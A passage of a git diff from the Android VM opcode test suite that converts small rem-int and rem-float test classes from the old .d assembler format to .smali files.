+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6.d
deleted file mode 100644
index 4957893..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_2addr_6.java
-.class public dot.junit.opcodes.rem_float_2addr.d.T_rem_float_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)F
-.limit regs 8
-
-       rem-float/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6.smali
new file mode 100644
index 0000000..bcab601
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_6.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)F
+.registers 8
+
+       rem-float/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_1.d
deleted file mode 100644
index 25a1ec5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_1.java
-.class public dot.junit.opcodes.rem_int.d.T_rem_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       rem-int v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_1.smali
new file mode 100644
index 0000000..be97772
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_1.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_2.d
deleted file mode 100644
index 1fa948b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_2.java
-.class public dot.junit.opcodes.rem_int.d.T_rem_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       rem-int v0, v7, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_2.smali
new file mode 100644
index 0000000..c07ab68
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int v0, v7, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_3.d
deleted file mode 100644
index 5db617b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_3.java
-.class public dot.junit.opcodes.rem_int.d.T_rem_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       rem-int v0, v5, v6
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_3.smali
new file mode 100644
index 0000000..f9256f768
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_3.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       rem-int v0, v5, v6
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_4.d
deleted file mode 100644
index 69aeb8d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_4.java
-.class public dot.junit.opcodes.rem_int.d.T_rem_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       rem-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_4.smali
new file mode 100644
index 0000000..8cf6ad5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_4.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       rem-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_5.d
deleted file mode 100644
index d3b2b76..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_5.java
-.class public dot.junit.opcodes.rem_int.d.T_rem_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       rem-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_5.smali
new file mode 100644
index 0000000..ad6d97d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_5.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_6.d
deleted file mode 100644
index 032b8ae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_6.java
-.class public dot.junit.opcodes.rem_int.d.T_rem_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       rem-int v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_6.smali
new file mode 100644
index 0000000..1bcfb7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_6.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       rem-int v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1.d
deleted file mode 100644
index 25a7fca..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_2addr_1.java
-.class public dot.junit.opcodes.rem_int_2addr.d.T_rem_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       rem-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1.smali
new file mode 100644
index 0000000..fcf8b1c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2.d
deleted file mode 100644
index 0dee98c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_2addr_2.java
-.class public dot.junit.opcodes.rem_int_2addr.d.T_rem_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       rem-int/2addr v6, v8
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2.smali
new file mode 100644
index 0000000..c217938
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int/2addr v6, v8
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3.d
deleted file mode 100644
index b76a76a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_2addr_3.java
-.class public dot.junit.opcodes.rem_int_2addr.d.T_rem_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       rem-int/2addr v5, v6
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3.smali
new file mode 100644
index 0000000..c73e27a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       rem-int/2addr v5, v6
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4.d
deleted file mode 100644
index e3828d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_2addr_4.java
-.class public dot.junit.opcodes.rem_int_2addr.d.T_rem_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       rem-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4.smali
new file mode 100644
index 0000000..4b95919
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       rem-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5.d
deleted file mode 100644
index d684c92..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_2addr_5.java
-.class public dot.junit.opcodes.rem_int_2addr.d.T_rem_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       rem-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5.smali
new file mode 100644
index 0000000..dec94e5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int/2addr v5, v7
+       return v5
+.end method
